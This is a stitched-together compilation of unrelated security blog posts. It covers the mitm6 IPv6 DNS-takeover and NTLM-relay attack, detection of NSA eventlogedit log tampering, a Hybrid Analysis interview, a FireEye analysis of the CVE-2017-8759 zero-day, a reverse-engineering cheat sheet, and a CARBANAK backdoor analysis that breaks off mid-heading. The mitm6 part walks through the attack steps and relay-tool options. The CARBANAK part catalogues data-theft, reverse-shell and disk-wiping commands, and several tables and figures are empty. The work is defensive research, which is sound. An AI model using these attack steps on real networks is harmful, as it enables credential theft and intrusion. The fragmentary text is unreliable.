Similar to the slow IPv6 adoption, resources about abusing IPv6 are much less prevalent than those describing IPv4 pentesting techniques. While every book and course mentions things such as ARP spoofing, IPv6 is rarely touched on and the tools available to test or abuse IPv6 configurations are limited. The THC IPV6 Attack toolkit is one of the available tools, and was an inspiration for mitm6. The attack described in this blog is a partial version of the SLAAC attack, which was first described by in 2011 by Alex Waters from the Infosec institute. The SLAAC attack sets up various services to man-in-the-middle all traffic in the network by setting up a rogue IPv6 router. The setup of this attack was later automated with a tool by Neohapsis called suddensix.

The downside of the SLAAC attack is that it attempts to create an IPv6 overlay network over the existing IPv4 network for all devices present. This is hardly a desired situation in a penetration test since this rapidly destabilizes the network. Additionally the attack requires quite a few external packages and services to work. mitm6 is a tool which focusses on an easy to setup solution that selectively attacks hosts and spoofs DNS replies, while minimizing the impact on the network’s regular operation. The result is a python script which requires almost no configuration to set up, and gets the attack running in seconds. When the attack is stopped, the network reverts itself to it’s previous state within minutes due to the tweaked timeouts set in the tool.

The mitm6 attack

Attack phase 1 – Primary DNS takeover

mitm6 starts with listening on the primary interface of the attacker machine for Windows clients requesting an IPv6 configuration via DHCPv6. By default every Windows machine since Windows Vista will request this configuration regularly. This can be seen in a packet capture from Wireshark:


mitm6 will reply to those DHCPv6 requests, assigning the victim an IPv6 address within the link-local range. While in an actual IPv6 network these addresses are auto-assigned by the hosts themselves and do not need to be configured by a DHCP server, this gives us the opportunity to set the attackers IP as the default IPv6 DNS server for the victims. It should be noted that mitm6 currently only targets Windows based operating systems, since other operating systems like macOS and Linux do not use DHCPv6 for DNS server assignment.

mitm6 does not advertise itself as a gateway, and thus hosts will not actually attempt to communicate with IPv6 hosts outside their local network segment or VLAN. This limits the impact on the network as mitm6 does not attempt to man-in-the-middle all traffic in the network, but instead selectively spoofs hosts (the domain which is filtered on can be specified when running mitm6).

The screenshot below shows mitm6 in action. The tool automatically detects the IP configuration of the attacker machine and replies to DHCPv6 requests sent by clients in the network with a DHCPv6 reply containing the attacker’s IP as DNS server. Optionally it will periodically send Router Advertisment (RA) messages to alert client that there is an IPv6 network in place and that clients should request an IPv6 adddress via DHCPv6. This will in some cases speed up the attack but is not required for the attack to work, making it possible to execute this attack on networks that have protection against the SLAAC attack with features such as RA Guard.


Attack phase 2 – DNS spoofing

On the victim machine we see that our server is configured as DNS server. Due to the preference of Windows regarding IP protocols, the IPv6 DNS server will be preferred to the IPv4 DNS server. The IPv6 DNS server will be used to query both for A (IPv4) and AAAA (IPv6) records.


Now our next step is to get clients to connect to the attacker machine instead of the legitimate servers. Our end goal is getting the user or browser to automatically authenticate to the attacker machine, which is why we are spoofing URLs in the internal domain testsegment.local. On the screenshot in step 1 you see the client started requesting information about wpad.testsegment.local immediately after it was assigned an IPv6 address. This is the part we will be exploiting during this attack.

Exploiting WPAD

A (short) history of WPAD abuse

The Windows Proxy Auto Detection feature has been a much debated one, and one that has been abused by penetration testers for years. Its legitimate use is to automatically detect a network proxy used for connecting to the internet in corporate environments. Historically, the address of the server providing the wpad.dat file (which provides this information) would be resolved using DNS, and if no entry was returned, the address would be resolved via insecure broadcast protocols such as Link-Local Multicast Name Resolution (LLMNR). An attacker could reply to these broadcast name resolution protocols, pretend the WPAD file was located on the attackers server, and then prompt for authentication to access the WPAD file. This authentication was provided by default by Windows without requiring user interaction. This could provide the attacker with NTLM credentials from the user logged in on that computer, which could be used to authenticate to services in a process called NTLM relaying.

In 2016 however, Microsoft published a security bulletin MS16-077, which mitigated this attack by adding two important protections:
– The location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.
– Authentication does not occur automatically anymore even if this is requested by the server.

While it is common to encounter machines in networks that are not fully patched and are still displaying the old behaviour of requesting WPAD via LLMNR and automatically authenticating, we come across more and more companies where exploiting WPAD the old-fashioned way does not work anymore.

Exploiting WPAD post MS16-077

The first protection, where WPAD is only requested via DNS, can be easily bypassed with mitm6. As soon as the victim machine has set the attacker as IPv6 DNS server, it will start querying for the WPAD configuration of the network. Since these DNS queries are sent to the attacker, it can just reply with its own IP address (either IPv4 or IPv6 depending on what the victim’s machine asks for). This also works if the organization is already using a WPAD file (though in this case it will break any connections from reaching the internet).

To bypass the second protection, where credentials are no longer provided by default, we need to do a little more work. When the victim requests a WPAD file we won’t request authentication, but instead provide it with a valid WPAD file where the attacker’s machine is set as a proxy. When the victim now runs any application that uses the Windows API to connect to the internet or simply starts browsing the web, it will use the attackers machine as a proxy. This works in Edge, Internet Explorer, Firefox and Chrome, since they all respect the WPAD system settings by default.
Now when the victim connects to our “proxy” server, which we can identify by the use of the CONNECT HTTP verb, or the presence of a full URI after the GET verb, we reply with a HTTP 407 Proxy Authentication required. This is different from the HTTP code normally used to request authentication, HTTP 401.
IE/Edge and Chrome (which uses IEs settings) will automatically authenticate to the proxy, even on the latest Windows versions. In Firefox this setting can be configured, but it is enabled by default.


Windows will now happily send the NTLM challenge/response to the attacker, who can relay it to different services. With this relaying attack, the attacker can authenticate as the victim on services, access information on websites and shares, and if the victim has enough privileges, the attacker can even execute code on computers or even take over the entire Windows Domain. Some of the possibilities of NTLM relaying were explained in one of our previous blogs, which can be found here.

The full attack

The previous sections described the global idea behind the attack. Running the attack itself is quite straightforward. First we start mitm6, which will start replying to DHCPv6 requests and afterwards to DNS queries requesting names in the internal network. For the second part of our attack, we use our favorite relaying tool, ntlmrelayx. This tool is part of the impacket Python library by Core Security and is an improvement on the well-known smbrelayx tool, supporting several protocols to relay to. Core Security and Fox-IT recently worked together on improving ntlmrelayx, adding several new features which (among others) enable it to relay via IPv6, serve the WPAD file, automatically detect proxy requests and prompt the victim for the correct authentication. If you want to check out some of the new features, have a look at the relay-experimental branch.

To serve the WPAD file, all we need to add to the command prompt is the host is the -wh parameter and with it specify the host that the WPAD file resides on. Since mitm6 gives us control over the DNS, any non-existing hostname in the victim network will do. To make sure ntlmrelayx listens on both IPv4 and IPv6, use the -6 parameter. The screenshots below show both tools in action, mitm6 selectively spoofing DNS replies and ntlmrelayx serving the WPAD file and then relaying authentication to other servers in the network.


Defenses and mitigations

The only defense against this attack that we are currently aware of is disabling IPv6 if it is not used on your internal network. This will stop Windows clients querying for a DHCPv6 server and make it impossible to take over the DNS server with the above described method.
For the WPAD exploit, the best solution is to disable the Proxy Auto detection via Group Policy. If your company uses a proxy configuration file internally (PAC file) it is recommended to explicitly configure the PAC url instead of relying on WPAD to detect it automatically.
While writing this blog, Google Project Zero also discovered vulnerabilities in WPAD, and their blog post mentions that disabling the WinHttpAutoProxySvc is the only reliable way that in their experience disabled WPAD.

Lastly, the only complete solution to prevent NTLM relaying is to disable it entirely and switch to Kerberos. If this is not possible, our last blog post on NTLM relaying mentions several mitigations to minimize the risk of relaying attacks.


The Fox-IT Security Research Team team has released Snort and Suricata signatures to detect rogue DHCPv6 traffic and WPAD replies over IPv6:

Where to get the tools

mitm6 is available from the Fox-IT GitHub. The updated version of ntlmrelayx is available from the impacket repository.

Detection and recovery of NSA’s covered up tracks

Part of the NSA cyber weapon framework DanderSpritz is eventlogedit, a piece of software capable of removing individual lines from Windows Event Log files. Now that this tool is leaked and public, any criminal willing to remove its traces on a hacked computer can use it. Fox-IT has looked at the software and found a unique way to detect the use of it and to recover the removed event log entries.


A group known as The Shadow Brokers published a collection of software, which allegedly was part of the cyber weapon arsenal of the NSA. Part of the published software was the exploitation framework FuzzBunch and post-exploitation framework DanderSpritz. DanderSpritz is a full-blown command and control server, or listening post in NSA terms. It can be used to stealthy perform various actions on hacked computers, like finding and exfiltrating data or move laterally through the target network. Its GUI is built on Java and contains plugins written in Python. The plugins contain functionality in the framework to perform specific actions on the target machine. One specific plugin in DanderSpritz caught the eye of the Forensics & Incident Response team at Fox-IT: eventlogedit.

DanderSpritz with eventlogedit in action

Figure 1: DanderSpritz with eventlogedit in action


Normally, the content of Windows Event Log files is useful for system administrators troubleshooting system performance, security teams monitoring for incidents, and forensic and incident response teams investigating a breach or fraud case. A single event record can alert the security team or be the smoking gun during an investigation. Various other artefacts found on the target system usually corroborate findings in Windows Event Log files during an investigation, but a missing event record could reduce the chances of detection of an attack, or impede investigation.

Fox-IT has encountered event log editing by attackers before, but eventlogedit appeared to be more sophisticated. Investigative methods able to spot other methods of event log manipulation were not able to show indicators of edited log files after the use of eventlogedit. Using eventlogedit, an attacker is able to remove individual event log entries from the Security, Application and System log on a target Windows system. After forensic analysis of systems where eventlogedit was used, the Forensics & Incident Response team of Fox-IT was able to create a Python script to detect the use of eventlogedit and fully recover the removed event log entries by the attacker.

Analysing recovered event records, deleted by an attacker, gives great insight into what an attacker wanted to hide and ultimately wanted to achieve. This provides security and response teams with more prevention and detection possibilities, and investigative leads during an investigation.

Before (back) and after (front) eventlogedit

Figure 2: Before (back) and after (front) eventlogedit

eventlogedit in use

Starting with Windows Vista, Windows Event Log files are stored in the Windows XML Eventlog format. The files on the disk have the file extension .evtx and are stored in the folder \Windows\System32\winevt\Logs\ on the system disk, by default. The file structure consists of a file header followed by one or more chunks. A chunk itself starts with a header followed by one or more individual event records. The event record starts with a signature, followed by record size, record number, timestamp, the actual event message, and the record size once again. The event message is encoded in a proprietary binary XML format, binXml. BinXml is a token representation of text XML.

Fox-IT discovered that when eventlogedit is used, the to-be-removed event record itself isn’t edited or removed at all: the record is only unreferenced. This is achieved by manipulation of the record header of the preceding record. Eventlogedit adds the size of the to-be-removed-record to the size of the previous record, thereby merging the two records. The removed record including its record header is now simply seen as excess data of the preceding record. In Figure 3 this is illustrated. You might think that an event viewer would show this excess or garbage data, but no. Apparently, all tested viewers parse the record binXml message data until the first end-tag and then move on to the next record. Tested viewers include Windows Event Viewer as well as various other forensic event log viewers and parsers. None of them was able to show a removed record.

Untouched event records (left) and deleted event record (right)

Figure 3: Untouched event records (left) and deleted event record (right). Note: not all field are displayed here.

Merely changing the record size would not be enough to prevent detection: various fields in the file and chunk header need to be changed. Eventlogedit makes sure that all following event records numbers are renumbered and that checksums are recalculated in both the file and chunk header. Doing so, it makes sure that obvious anomalies like missing record numbers or checksum errors are prevented and will not raise an alarm at the system user, or the security department.

Organizations which send event log records on the fly to a central log server (e.g. a SIEM), should be able to see the removed record on their server. However, an advanced attacker will most likely compromise the log server before continuing the operation on the target computer.

Recovering removed records

As eventlogedit leaves the removed record and record header in its original state, their content can be recovered. This allows the full recovery of all the data that was originally in the record, including record number, event id, timestamps, and event message.

Fox-IT’s Forensics & Incident Response department has created a Python script that finds and exports any removed event log records from an event log file. This script also works in the scenario when consecutive event records have been removed, when the first record of the file is removed, or the first record of a chunk is removed. In Figure 4 an example is shown.

Recovering removed event records

Figure 4: Recovering removed event records

We have decided to open source the script. It can be found on our GitHub and works like this:

$ python -h
usage: [-h] -i INPUT_PATH [-o OUTPUT_PATH]
 [-e EXPORT_PATH] - Parse evtx files and detect the use of the danderspritz
module that deletes evtx entries

optional arguments:
 -h, --help show this help message and exit
 Path to evtx file
 Path to corrected evtx file
 Path to location to store exported xml records

The script requires the python-evtx library from Willi Ballenthin.

Additionally, we have created an easy to use standalone executable for Windows systems which can be found on our GitHub as well.


md5    c07f6a5b27e6db7b43a84c724a2f61be 
sha1   6d10d80cb8643d780d0f1fa84891a2447f34627c
sha256 6c0f3cd832871ba4eb0ac93e241811fd982f1804d8009d1e50af948858d75f6b



To detect if the NSA or someone else has used this to cover up his tracks using the eventlogedit tool on your systems, it is recommended to use the script on event log files from your Windows servers and computers. As the NSA very likely changed their tools after the leaks, it might be farfetched to detect their current operations with this script. But you might find traces of it in older event log files. It is recommended to run the script on archived event log files from back-ups or central log servers.

If you find traces of eventlogedit, and would like assistance in analysis and remediation for a possible breach, feel free to contact us. Our Forensics & Incident Response department during business hours or FoxCERT 24/7.

Wouter Jansen
Fox-IT Forensics & Incident Response

Hybrid Analysis Grows Up – Acquired by CrowdStrike

CrowdStrike acquired Payload Security, the company behind the automated malware analysis sandbox technology Hybrid Analysis, in November 2017. Jan Miller founded Payload Security approximately 3 years earlier. The interview I conducted with Jan in early 2015 captured his mindset at the onset of the journey that led to this milestone. I briefly spoke with Jan again, a few days after the acquisition. He reflected upon his progress over the three years of leading Payload Security so far and his plans for Hybrid Analysis as part of CrowdStrike.

Jan, why did you and your team decide to join CrowdStrike?

Developing a malware analysis product requires a constant stream of improvements to the technology, not only to keep up with the pace of malware authors’ attempts to evade automated analysis but also innovate and embrace the community. The team has accomplished a lot thus far, but joining CrowdStrike gives us the ability to access a lot more resources and grow the team to rapidly improve Hybrid Analysis in the competitive space that we live in. We will have the ability to bring more people into the team and also enhance and grow the infrastructure and integrations behind the free Hybrid Analysis community platform.

What role did the free version of your product, available at, play in the company’s evolution?

A lot of people in the community have been using the free version of Hybrid Analysis to analyze their own malware samples, share them with friends or to look-up existing analysis reports and extract intelligence. Today, the site has approximately 44,000 active users and around 1 million sessions per month. One of the reasons the site took off is the simplicity and quality of the reports, focusing on what matters and enabling effective incident response.

The success of Hybrid Analysis was, to a large extent, due to the engagement from the community. The samples we have been receiving allowed us to constantly field-test the system against the latest malware, stay on top of the game and also to embrace feedback from security professionals. This allowed us to keep improving at rapid pace in a competitive space, successfully.

What will happen to the free version of Hybrid Analysis? I saw on Twitter that your team pinky-promised to continue making it available for free to the community, but I was hoping you could comment further on this.

I’m personally committed to ensuring that the community platform will stay not only free, but grow even more useful and offer new capabilities shortly. Hybrid Analysis deserves to be the place for professionals to get a reasoned opinion about any binary they’ve encountered. We plan to open up the API, add more integrations and other free capabilities in the near future.

What stands out in your mind as you reflect upon your Hybrid Analysis journey so far? What’s motivating you to move forward?

Starting out without any noteworthy funding, co-founders or advisors, in a saturated high-tech market that is extremely fast paced and full of money, it seemed impossible to succeed on paper. But the reality is: if you are offering a product or service that is solving a real-world problem considerably better than the market leaders, you always have a chance. My hope is that people who are considering becoming entrepreneurs will be encouraged to pursue their ideas, but be prepared to work 80 hours a week, have the right technology, the feedback from the community, amazing team members and lean on insightful advisors and you can make it happen.

In fact, it’s because of the value Hybrid Analysis has been adding to the community that I was able to attract the highly talented individuals that are currently on the team. It has always been important for me to make a difference, to contribute something and have a true impact on people’s lives. It all boils down to bringing more light than darkness into the world, as cheesy as that might sound.

FireEye Uncovers CVE-2017-8759: Zero-Day Used in the Wild to Distribute FINSPY

FireEye recently detected a malicious Microsoft Office RTF document that leveraged CVE-2017-8759, a SOAP WSDL parser code injection vulnerability. This vulnerability allows a malicious actor to inject arbitrary code during the parsing of SOAP WSDL definition contents. FireEye analyzed a Microsoft Word document where attackers used the arbitrary code injection to download and execute a Visual Basic script that contained PowerShell commands.

FireEye shared the details of the vulnerability with Microsoft and has been coordinating public disclosure timed with the release of a patch to address the vulnerability and security guidance, which can be found here.

FireEye email, endpoint and network products detected the malicious documents.

Vulnerability Used to Target Russian Speakers

The malicious document, “Проект.doc” (MD5: fe5c4d6bb78e170abf5cf3741868ea4c), might have been used to target a Russian speaker. Upon successful exploitation of CVE-2017-8759, the document downloads multiple components (details follow), and eventually launches a FINSPY payload (MD5: a7b990d5f57b244dd17e9a937a41e7f5).

FINSPY malware, also reported as FinFisher or WingBird, is available for purchase as part of a “lawful intercept” capability. Based on this and previous use of FINSPY, we assess with moderate confidence that this malicious document was used by a nation-state to target a Russian-speaking entity for cyber espionage purposes. Additional detections by FireEye’s Dynamic Threat Intelligence system indicates that related activity, though potentially for a different client, might have occurred as early as July 2017.

CVE-2017-8759 WSDL Parser Code Injection

A code injection vulnerability exists in the WSDL parser module within the PrintClientProxy method ( - System.Runtime.Remoting/metadata/wsdlparser.cs,6111). The IsValidUrl does not perform correct validation if provided data that contains a CRLF sequence. This allows an attacker to inject and execute arbitrary code. A portion of the vulnerable code is shown in Figure 1.

Figure 1: Vulnerable WSDL Parser

When multiple address definitions are provided in a SOAP response, the code inserts the “//base.ConfigureProxy(this.GetType(),” string after the first address, commenting out the remaining addresses. However, if a CRLF sequence is in the additional addresses, the code following the CRLF will not be commented out. Figure 2 shows that due to lack validation of CRLF, a System.Diagnostics.Process.Start method call is injected. The generated code will be compiled by csc.exe of .NET framework, and loaded by the Office executables as a DLL.

Figure 2: SOAP definition VS Generated code

The In-the-Wild Attacks

The attacks that FireEye observed in the wild leveraged a Rich Text Format (RTF) document, similar to the CVE-2017-0199 documents we previously reported on. The malicious sampled contained an embedded SOAP monikers to facilitate exploitation (Figure 3).

Figure 3: SOAP Moniker

The payload retrieves the malicious SOAP WSDL definition from an attacker-controlled server. The WSDL parser, implemented in of .NET framework, parses the content and generates a .cs source code at the working directory. The csc.exe of .NET framework then compiles the generated source code into a library, namely http[url path].dll. Microsoft Office then loads the library, completing the exploitation stage.  Figure 4 shows an example library loaded as a result of exploitation.

Figure 4: DLL loaded

Upon successful exploitation, the injected code creates a new process and leverages mshta.exe to retrieve a HTA script named “word.db” from the same server. The HTA script removes the source code, compiled DLL and the PDB files from disk and then downloads and executes the FINSPY malware named “left.jpg,” which in spite of the .jpg extension and “image/jpeg” content-type, is actually an executable. Figure 5 shows the details of the PCAP of this malware transfer.

Figure 5: Live requests

The malware will be placed at %appdata%\Microsoft\Windows\OfficeUpdte-KB[ 6 random numbers ].exe. Figure 6 shows the process create chain under Process Monitor.

Figure 6: Process Created Chain

The Malware

The “left.jpg” (md5: a7b990d5f57b244dd17e9a937a41e7f5) is a variant of FINSPY. It leverages heavily obfuscated code that employs a built-in virtual machine – among other anti-analysis techniques – to make reversing more difficult. As likely another unique anti-analysis technique, it parses its own full path and searches for the string representation of its own MD5 hash. Many resources, such as analysis tools and sandboxes, rename files/samples to their MD5 hash in order to ensure unique filenames. This variant runs with a mutex of "WininetStartupMutex0".


CVE-2017-8759 is the second zero-day vulnerability used to distribute FINSPY uncovered by FireEye in 2017. These exposures demonstrate the significant resources available to “lawful intercept” companies and their customers. Furthermore, FINSPY has been sold to multiple clients, suggesting the vulnerability was being used against other targets.

It is possible that CVE-2017-8759 was being used by additional actors. While we have not found evidence of this, the zero day being used to distribute FINSPY in April 2017, CVE-2017-0199 was simultaneously being used by a financially motivated actor. If the actors behind FINSPY obtained this vulnerability from the same source used previously, it is possible that source sold it to additional actors.


Thank you to Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team and FireEye iSIGHT Intelligence for their contributions to this blog. We also thank everyone from the Microsoft Security Response Center (MSRC) who worked with us on this issue.

Tips for Reverse-Engineering Malicious Code

This cheat sheet outlines tips for reversing malicious Windows executables via static and dynamic code analysis with the help of a debugger and a disassembler. To print it, use the one-page PDF version; you can also edit the Word version to customize it for you own needs.

Overview of the Code Analysis Process

  1. Examine static properties of the Windows executable for initial assessment and triage.
  2. Identify strings and API calls that highlight the program’s suspicious or malicious capabilities.
  3. Perform automated and manual behavioral analysis to gather additional details.
  4. If relevant, supplement our understanding by using memory forensics techniques.
  5. Use a disassembler for static analysis to examine code that references risky strings and API calls.
  6. Use a debugger for dynamic analysis to examine how risky strings and API calls are used.
  7. If appropriate, unpack the code and its artifacts.
  8. As your understanding of the code increases, add comments, labels; rename functions, variables.
  9. Progress to examine the code that references or depends upon the code you’ve already analyzed.
  10. Repeat steps 5-9 above as necessary (the order may vary) until analysis objectives are met.

Common 32-Bit Registers and Uses

EAX Addition, multiplication, function results
ECX Counter; used by LOOP and others
EBP Baseline/frame pointer for referencing function arguments (EBP+value) and local variables (EBP-value)
ESP Points to the current “top” of the stack; changes via PUSH, POP, and others
EIP Instruction pointer; points to the next instruction; shellcode gets it via call/pop
EFLAGS Contains flags that store outcomes of computations (e.g., Zero and Carry flags)
FS F segment register; FS[0] points to SEH chain, FS[0x30] points to the PEB.

Common x86 Assembly Instructions

mov EAX,0xB8 Put the value 0xB8 in EAX.
push EAX Put EAX contents on the stack.
pop EAX Remove contents from top of the stack and put them in EAX .
lea EAX,[EBP-4] Put the address of variable EBP-4 in EAX.
call EAX Call the function whose address resides in the EAX register.
add esp,8 Increase ESP by 8 to shrink the stack by two 4-byte arguments.
sub esp,0x54 Shift ESP by 0x54 to make room on the stack for local variable(s).
xor EAX,EAX Set EAX contents to zero.
test EAX,EAX Check whether EAX contains zero, set the appropriate EFLAGS bits.
cmp EAX,0xB8 Compare EAX to 0xB8, set the appropriate EFLAGS bits.

Understanding 64-Bit Registers

  • Additional 64-bit registers are R8-R15.
  • RSP is often used to access stack arguments and local variables, instead of EBP.
  • |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| R8 (64 bits)
    ________________________________|||||||||||||||||||||||||||||||| R8D (32 bits)
    ________________________________________________|||||||||||||||| R8W (16 bits)
    ________________________________________________________|||||||| R8B (8 bits)

Passing Parameters to Functions

arg0 [EBP+8] on 32-bit, RCX on 64-bit
arg1 [EBP+0xC] on 32-bit, RDX on 64-bit
arg2 [EBP+0x10] on 32-bit, R8 on 64-bit
arg3 [EBP+14] on 32-bit, R9 on 64-bit

Decoding Conditional Jumps

JA / JG Jump if above/jump if greater.
JB / JL Jump if below/jump if less.
JE / JZ Jump if equal; same as jump if zero.
JNE / JNZ Jump if not equal; same as jump if not zero.
JGE/ JNL Jump if greater or equal; same as jump if not less.

Some Risky Windows API Calls

  • Code injection: CreateRemoteThread, OpenProcess, VirtualAllocEx, WriteProcessMemory, EnumProcesses
  • Dynamic DLL loading: LoadLibrary, GetProcAddress
  • Memory scraping: CreateToolhelp32Snapshot, OpenProcess, ReadProcessMemory, EnumProcesses
  • Data stealing: GetClipboardData, GetWindowText
  • Keylogging: GetAsyncKeyState, SetWindowsHookEx
  • Embedded resources: FindResource, LockResource
  • Unpacking/self-injection: VirtualAlloc, VirtualProtect
  • Query artifacts: CreateMutex, CreateFile, FindWindow, GetModuleHandle, RegOpenKeyEx
  • Execute a program: WinExec, ShellExecute, CreateProcess
  • Web interactions: InternetOpen, HttpOpenRequest, HttpSendRequest, InternetReadFile

Additional Code Analysis Tips

  • Be patient but persistent; focus on small, manageable code areas and expand from there.
  • Use dynamic code analysis (debugging) for code that’s too difficult to understand statically.
  • Look at jumps and calls to assess how the specimen flows from “interesting” code block to the other.
  • If code analysis is taking too long, consider whether behavioral or memory analysis will achieve the goals.
  • When looking for API calls, know the official API names and the associated native APIs (Nt, Zw, Rtl).


Authored by Lenny Zeltser with feedback from Anuj Soni. Malicious code analysis and related topics are covered in the SANS Institute course FOR610: Reverse-Engineering Malware, which they’ve co-authored. This cheat sheet, version 1.0, is released under the Creative Commons v3 “Attribution” License.

Behind the CARBANAK Backdoor

In this blog, we will take a closer look at the powerful, versatile backdoor known as CARBANAK (aka Anunak). Specifically, we will focus on the operational details of its use over the past few years, including its configuration, the minor variations observed from sample to sample, and its evolution. With these details, we will then draw some conclusions about the operators of CARBANAK. For some additional background on the CARBANAK backdoor, see the papers by Kaspersky and Group-IB and Fox-It.

Technical Analysis

Before we dive into the meat of this blog, a brief technical analysis of the backdoor is necessary to provide some context. CARBANAK is a full-featured backdoor with data-stealing capabilities and a plugin architecture. Some of its capabilities include key logging, desktop video capture, VNC, HTTP form grabbing, file system management, file transfer, TCP tunneling, HTTP proxy, OS destruction, POS and Outlook data theft and reverse shell. Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time.

Monitoring Threads

The backdoor may optionally start one or more threads that perform continuous monitoring for various purposes, as described in Table 1.  

Thread Name


Key logger

Logs key strokes for configured processes and sends them to the command and control (C2) server

Form grabber

Monitors HTTP traffic for form data and sends it to the C2 server

POS monitor

Monitors for changes to logs stored in C:\NSB\Coalition\Logs and nsb.pos.client.log and sends parsed data to the C2 server

PST monitor

Searches recursively for newly created Outlook personal storage table (PST) files within user directories and sends them to the C2 server

HTTP proxy monitor

Monitors HTTP traffic for requests sent to HTTP proxies, saves the proxy address and credentials for future use

Table 1: Monitoring threads


In addition to its file management capabilities, this data-stealing backdoor supports 34 commands that can be received from the C2 server. After decryption, these 34 commands are plain text with parameters that are space delimited much like a command line. The command and parameter names are hashed before being compared by the binary, making it difficult to recover the original names of commands and parameters. Table 2 lists these commands.

Command Hash

Command Name




Runs each command specified in the configuration file (see the Configuration section).



Updates the state value (see the Configuration section).



Desktop video recording



Downloads executable and injects into new process



Ammyy Admin tool



Updates self



Add/Update klgconfig (analysis incomplete)



Starts HTTP proxy



Renders computer unbootable by wiping the MBR



Reboots the operating system



Creates a network tunnel



Adds new C2 server or proxy address for pseudo-HTTP protocol



Adds new C2 server for custom binary protocol



Creates or deletes Windows user account



Enables concurrent RDP (analysis incomplete)



Adds Notification Package (analysis incomplete)



Deletes file or service



Adds command to the configuration file (see the Configuration section)



Downloads executable and injects directly into new process



Send Windows accounts details to the C2 server



Takes a screenshot of the desktop and sends it to the C2 server



Backdoor sleeps until specified date






Upload files to the C2 server



Runs VNC plugin



Runs specified executable file



Uninstalls backdoor



Returns list of running processes to the C2 server



Change C2 protocol used by plugins



Download and execute shellcode from specified address



Terminates the first process found specified by name



Initiates a reverse shell to the C2 server



Plugin control



Updates backdoor

Table 2: Supported Commands


A configuration file resides in a file under the backdoor’s installation directory with the .bin extension. It contains commands in the same form as those listed in Table 2 that are automatically executed by the backdoor when it is started. These commands are also executed when the loadconfig command is issued. This file can be likened to a startup script for the backdoor. The state command sets a global variable containing a series of Boolean values represented as ASCII values ‘0’ or ‘1’ and also adds itself to the configuration file. Some of these values indicate which C2 protocol to use, whether the backdoor has been installed, and whether the PST monitoring thread is running or not. Other than the state command, all commands in the configuration file are identified by their hash’s decimal value instead of their plain text name. Certain commands, when executed, add themselves to the configuration so they will persist across (or be part of) reboots. The loadconfig and state commands are executed during initialization, effectively creating the configuration file if it does not exist and writing the state command to it.

Figure 1 and Figure 2 illustrate some sample, decoded configuration files we have come across in our investigations.

Figure 1: Configuration file that adds new C2 server and forces the data-stealing backdoor to use it

Figure 2: Configuration file that adds TCP tunnels and records desktop video

Command and Control

CARBANAK communicates to its C2 servers via pseudo-HTTP or a custom binary protocol.

Pseudo-HTTP Protocol

Messages for the pseudo-HTTP protocol are delimited with the ‘|’ character. A message starts with a host ID composed by concatenating a hash value generated from the computer’s hostname and MAC address to a string likely used as a campaign code. Once the message has been formatted, it is sandwiched between an additional two fields of randomly generated strings of upper and lower case alphabet characters. An example of a command polling message and a response to the listprocess command are given in Figure 3 and Figure 4, respectively.

Figure 3: Example command polling message

Figure 4: Example command response message

Messages are encrypted using Microsoft’s implementation of RC2 in CBC mode with PKCS#5 padding. The encrypted message is then Base64 encoded, replacing all the ‘/’ and ‘+’ characters with the ‘.’ and ‘-’ characters, respectively. The eight-byte initialization vector (IV) is a randomly generated string consisting of upper and lower case alphabet characters. It is prepended to the encrypted and encoded message.

The encoded payload is then made to look like a URI by having a random number of ‘/’ characters inserted at random locations within the encoded payload. The malware then appends a script extension (php, bml, or cgi) with a random number of random parameters or a file extension from the following list with no parameters: gif, jpg, png, htm, html, php.

This URI is then used in a GET or POST request. The body of the POST request may contain files contained in the cabinet format. A sample GET request is shown in Figure 5.

Figure 5: Sample pseudo-HTTP beacon

The pseudo-HTTP protocol uses any proxies discovered by the HTTP proxy monitoring thread or added by the adminka command. The backdoor also searches for proxy configurations to use in the registry at HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings and for each profile in the Mozilla Firefox configuration file at %AppData%\Mozilla\Firefox\<ProfileName>\prefs.js.

Custom Binary Protocol

Figure 6 describes the structure of the malware’s custom binary protocol. If a message is larger than 150 bytes, it is compressed with an unidentified algorithm. If a message is larger than 4096 bytes, it is broken into compressed chunks. This protocol has undergone several changes over the years, each version building upon the previous version in some way. These changes were likely introduced to render existing network signatures ineffective and to make signature creation more difficult.

Figure 6: Binary protocol message format

Version 1

In the earliest version of the binary protocol, we have discovered that the message bodies that are stored in the <chunkData> field are simply XORed with the host ID. The initial message is not encrypted and contains the host ID.

Version 2

Rather than using the host ID as the key, this version uses a random XOR key between 32 and 64 bytes in length that is generated for each session. This key is sent in the initial message.

Version 3

Version 3 adds encryption to the headers. The first 19 bytes of the message headers (up to the <hdrXORKey2> field) are XORed with a five-byte key that is randomly generated per message and stored in the <hdrXORKey2> field. If the <flag> field of the message header is greater than one, the XOR key used to encrypt message bodies is iterated in reverse when encrypting and decrypting messages.

Version 4

This version adds a bit more complexity to the header encryption scheme. The headers are XOR encrypted with <hdrXORKey1> and <hdrXORKey2> combined and reversed.

Version 5

Version 5 is the most sophisticated of the binary protocols we have seen. A 256-bit AES session key is generated and used to encrypt both message headers and bodies separately. Initially, the key is sent to the C2 server with the entire message and headers encrypted with the RSA key exchange algorithm. All subsequent messages are encrypted with AES in CBC mode. The use of public key cryptography makes decryption of the session key infeasible without the C2 server’s private key.

The Roundup

We have rounded up 220 samples of the CARBANAK backdoor and compiled a table that highlights some interesting details that we were able to extract. It should be noted that in most of these cases the backdoor was embedded as a packed payload in another executable or in a weaponized document file of some kind. The MD5 hash is for the original executable file that eventually launches CARBANAK, but the details of each sample were extracted from memory during execution. This data provides us with a unique insight into the operational aspect of CARBANAK and can be downloaded here.

Protocol Evolution

As described earlier, CARBANAK’s binary protocol has undergone several significant changes over the years. Figure 7 illustrates a rough timeline of this evolution based on the compile times of samples we have in our collection. This may not be entirely accurate because our visibility is not complete, but it gives us a general idea as to when the changes occurred. It has been observed that some builds of this data-stealing backdoor use outdated versions of the protocol. This may suggest multiple groups of operators compiling their own builds of this data-stealing backdoor independently.

Figure 7: Timeline of binary protocol versions

*It is likely that we are missing an earlier build that utilized version 3.

Build Tool

Most of CARBANAK’s strings are encrypted in order to make analysis more difficult. We have observed that the key and the cipher texts for all the encrypted strings are changed for each sample that we have encountered, even amongst samples with the same compile time. The RC2 key used for the HTTP protocol has also been observed to change among samples with the same compile time. These observations paired with the use of campaign codes that must be configured denote the likely existence of a build tool.

Rapid Builds

